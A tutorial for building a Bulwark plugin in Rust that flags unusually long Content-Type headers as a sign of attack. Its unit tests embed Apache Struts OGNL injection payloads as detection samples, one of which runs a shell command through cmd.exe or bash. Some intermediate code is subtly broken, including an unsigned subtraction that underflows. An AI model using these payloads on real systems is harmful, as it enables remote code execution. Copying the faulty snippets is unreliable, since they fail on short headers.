Skip to content

Writing Your First Plugin

This tutorial will try to avoid assuming the reader is already familiar with any particular programming language, although some degree of coding knowledge is assumed.

  1. Install Rust

    Before writing a Rust-based plugin, we’ll need the Rust toolchain available. You can skip this step if it’s already available in your environment. Full installation instructions cover additional details and environments, but for most *nix based systems this is all you need:

    Terminal window
    curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

    If you prefer to avoid shell pipe installs, there are signed standalone installers.

  2. Install Bulwark

    Bulwark has its own build command, which we’ll need to build our plugin. Once the Rust toolchain is installed, we can obtain the Bulwark CLI via Cargo, which is included with the toolchain. Again, you can skip this step if the CLI is already installed.

    Terminal window
    cargo install bulwark-cli
  3. Blank Slate Template

    We’re going to start our plugin from a “blank slate” example. The full example can be obtained from the Bulwark repository by cloning it. You will need git installed if it isn’t already. We’re going to be writing a simple plugin that treats excessively long Content-Type headers as suspicious. A number of historical exploit payloads have used this header and typically require much longer values than a legitimate client would send. A length check thus becomes a very simple form of anomaly detection.

    Terminal window
    # Inside your preferred workspace
    git clone https://github.com/bulwark-security/bulwark.git
    cp -rp bulwark/crates/wasm-sdk/examples/blank-slate ./long-content-type
    cd long-content-type

    This is the starting point for our plugin. All of the handlers we might use already have boilerplate we can start from. In this case, we’re going to delete each handler we don’t intend to use. In the code below, HttpHandlers is the Rust trait (essentially an interface) that is required for each Bulwark plugin. We use a special macro, #[bulwark_plugin], that makes it so that we don’t need to implement every member of the trait and we can just focus on the main functionality of our plugin.

    We’re only going to use the handle_request_decision function in this plugin, so we’ll open the file in our preferred editor, and delete the rest.

    src/lib.rs
    use bulwark_sdk::*;
    use std::collections::HashMap;
    pub struct BlankSlate;
    #[bulwark_plugin]
    impl HttpHandlers for BlankSlate {
    fn handle_request_enrichment(
    _request: Request,
    _params: HashMap<String, String>,
    ) -> Result<HashMap<String, String>, Error> {
    // Cross-plugin communication logic goes here, or leave as a no-op.
    Ok(HashMap::new())
    }
    fn handle_request_decision(
    _request: Request,
    _params: HashMap<String, String>,
    ) -> Result<HandlerOutput, Error> {
    let mut output = HandlerOutput::default();
    // Main detection logic goes here.
    output.decision = Decision::restricted(0.0);
    output.tags = vec!["blank-slate".to_string()];
    Ok(output)
    }
    fn handle_response_decision(
    _request: Request,
    _response: Response,
    _params: HashMap<String, String>,
    ) -> Result<HandlerOutput, Error> {
    let mut output = HandlerOutput::default();
    // Process responses from the interior service here, or leave as a no-op.
    output.decision = Decision::restricted(0.0);
    Ok(output)
    }
    fn handle_decision_feedback(
    _request: Request,
    _response: Response,
    _params: HashMap<String, String>,
    _verdict: Verdict,
    ) -> Result<(), Error> {
    // Feedback loop implementations go here, or leave as a no-op.
    Ok(())
    }
    }
    #[cfg(test)]
    mod tests {
    use super::*;
    // Your unit tests go here.
    }
  4. Update Plugin Name

    We can also update the plugin name and the tag name we’re going to use.

    src/lib.rs
    use bulwark_sdk::*;
    use std::collections::HashMap;
    pub struct LongContentType;
    # [bulwark_plugin]
    impl HttpHandlers for LongContentType {
    fn handle_request_decision(
    _request: Request,
    _params: HashMap<String, String>,
    ) -> Result<HandlerOutput, Error> {
    let mut output = HandlerOutput::default();
    // Main detection logic goes here.
    output.decision = Decision::restricted(0.0);
    output.tags = vec!["long-content-type".to_string()];
    Ok(output)
    }
    }
    # [cfg(test)]
    mod tests {
    use super::*;
    // Your unit tests go here.
    }
  5. Read Header Value

    Next we need to get the value of the Content-Type header, if any. If there’s no Content-Type header, our plugin will keep the default verdict, which is uncertainty.

    src/lib.rs
    use bulwark_sdk::*;
    use std::collections::HashMap;
    pub struct LongContentType;
    # [bulwark_plugin]
    impl HttpHandlers for LongContentType {
    fn handle_request_decision(
    request: Request,
    _params: HashMap<String, String>,
    ) -> Result<HandlerOutput, Error> {
    let mut output = HandlerOutput::default();
    if let Some(content_type) = request.headers().get("Content-Type") {
    // Main detection logic goes here.
    output.tags = vec!["long-content-type".to_string()];
    }
    Ok(output)
    }
    }
    # [cfg(test)]
    mod tests {
    use super::*;
    // Your unit tests go here.
    }
  6. Check Header Length

    Now we’re going to check the length of the header and render our decision based on it. There isn’t a strict limit on length given in the specification for the Content-Type header. However, clients tend to be fairly consistent in what they send, favoring shorter values. We’re going to capitalize on this for our simple detection.

    We’ll start by counting how many extra characters we’ve found in the header value above the arbitrary limit we’ve set. The longest legitimate Content-Type values in common usage are around 100 characters, typically some flavor of multipart/form-data. The shortest viable exploit payloads we have in mind are right around 150 characters, so we’re going to pick a number in between.

  7. Write Unit Test

    Let’s also introduce our first unit test. We want to check fairly normal cases, legitimate edge cases, and malicious scenarios on opposite ends of the range we’ve defined.

    src/lib.rs
    use bulwark_sdk::*;
    use std::collections::HashMap;
    pub struct LongContentType;
    const MAX_LEN: usize = 120;
    impl LongContentType {
    fn chars_above_max(content_type: &HeaderValue) -> usize {
    (content_type.len() - MAX_LEN).max(0)
    }
    }
    # [bulwark_plugin]
    impl HttpHandlers for LongContentType {
    fn handle_request_decision(
    request: Request,
    _params: HashMap<String, String>,
    ) -> Result<HandlerOutput, Error> {
    let mut output = HandlerOutput::default();
    if let Some(content_type) = request.headers().get("Content-Type") {
    let chars_above_max = LongContentType::chars_above_max(content_type);
    if chars_above_max > 0 {
    output.tags = vec!["long-content-type".to_string()];
    }
    // Next we'll need to convert to a decision here.
    }
    Ok(output)
    }
    }
    # [cfg(test)]
    mod tests {
    use super::*;
    #[test]
    fn test_chars_above_max() {
    let test_cases = vec![
    (HeaderValue::from_static(""), 0),
    (HeaderValue::from_static("application/json"), 0),
    (
    HeaderValue::from_static(
    "multipart/form-data; boundary=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
    ),
    0,
    ),
    (
    HeaderValue::from_static(
    r"%{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('curl www.example.com'))}",
    ),
    29,
    ),
    (
    HeaderValue::from_static(
    r"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl www.example.com').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
    ),
    704,
    ),
    ];
    for (content_type, expected) in test_cases {
    let chars_above_max = LongContentType::chars_above_max(&content_type);
    assert_eq!(chars_above_max, expected);
    }
    }
    }
  8. Score For Decision

    The last step is to take the excess we calculated in the previous step and turn it into a decision value. Bulwark uses decision values to render its verdict on whether a request should be blocked or not. Crucially, it encodes uncertainty into these values. In our example, there’s nothing that forbids a client from sending a long Content-Type. It’s not a guarantee of malicious behavior and to control false positives, we don’t want to treat it as malicious until the evidence is very strong.

    We’re going to generate a score value in the range 0.0 to 0.75 to represent our confidence that the request is malicious. We stop at 0.75 because 1.0 would indicate certainty and we want to retain some of our uncertainty based on our detection method. We stay below 0.8 because that’s the default threshold to block a request and we want multiple detections to contribute to a verdict before we block outright. We want to scale linearly and hit the maximum value when a request goes over by 150 characters. We know that exploits will go far past this secondary limit, as seen in the final test case from the previous change we made. That will make this detection harder to bypass. We can calculate our scaling factor by dividing 0.75 by 150 to get 0.005. Add in a simple clamp for the maximum score and that gives us our scoring function.

  9. Adding A Dependency

    For testing, we’re going to introduce the approx crate as a dev-dependency to simplify working with floating point score values.

    src/lib.rs
    use bulwark_sdk::*;
    use std::collections::HashMap;
    pub struct LongContentType;
    const MAX_LEN: i64 = 120;
    const MAX_EXCESS: i64 = 150;
    const MAX_SCORE: f64 = 0.75;
    const SCALE_FACTOR: f64 = MAX_SCORE / MAX_EXCESS as f64;
    impl LongContentType {
    fn score_content_type(content_type: &HeaderValue) -> f64 {
    let chars_above_max = Self::chars_above_max(content_type) as f64;
    (chars_above_max * SCALE_FACTOR).min(MAX_SCORE)
    }
    fn chars_above_max(content_type: &HeaderValue) -> usize {
    (content_type.len() as i64 - MAX_LEN).max(0) as usize
    }
    }
    # [bulwark_plugin]
    impl HttpHandlers for LongContentType {
    fn handle_request_decision(
    request: Request,
    _params: HashMap<String, String>,
    ) -> Result<HandlerOutput, Error> {
    let mut output = HandlerOutput::default();
    if let Some(content_type) = request.headers().get("Content-Type") {
    let score = LongContentType::score_content_type(content_type);
    if score > 0.0 {
    output.tags = vec!["long-content-type".to_string()];
    }
    output.decision = Decision::restricted(score);
    }
    Ok(output)
    }
    }
    # [cfg(test)]
    mod tests {
    use super::*;
    use approx::assert_relative_eq;
    #[test]
    fn test_score_content_type() {
    let test_cases = vec![
    (HeaderValue::from_static(""), 0),
    (HeaderValue::from_static("application/json"), 0.0),
    (
    HeaderValue::from_static(
    "multipart/form-data; boundary=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
    ),
    0.0,
    ),
    (
    HeaderValue::from_static(
    r"%{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('curl www.example.com'))}",
    ),
    0.145,
    ),
    (
    HeaderValue::from_static(
    r"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl www.example.com').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
    ),
    0.75,
    ),
    ];
    for (content_type, expected) in test_cases {
    let score = LongContentType::score_content_type(&content_type);
    assert_relative_eq!(score, expected);
    }
    }
    #[test]
    fn test_chars_above_max() {
    let test_cases = vec![
    (HeaderValue::from_static(""), 0),
    (HeaderValue::from_static("application/json"), 0),
    (
    HeaderValue::from_static(
    "multipart/form-data; boundary=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
    ),
    0,
    ),
    (
    HeaderValue::from_static(
    r"%{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('curl www.example.com'))}",
    ),
    29,
    ),
    (
    HeaderValue::from_static(
    r"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl www.example.com').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
    ),
    704,
    ),
    ];
    for (content_type, expected) in test_cases {
    let chars_above_max = LongContentType::chars_above_max(&content_type);
    assert_eq!(chars_above_max, expected);
    }
    }
    }
  10. Wrapping Up

    Our final detection is difficult to bypass while retaining a broadly operational exploit, addresses false positive risks, gives us additional traffic visibility by tagging offending requests in our logs, and has an embedded test suite that gives us confidence that we’ve implemented our logic correctly.

    The finished version of this plugin is available in the community ruleset.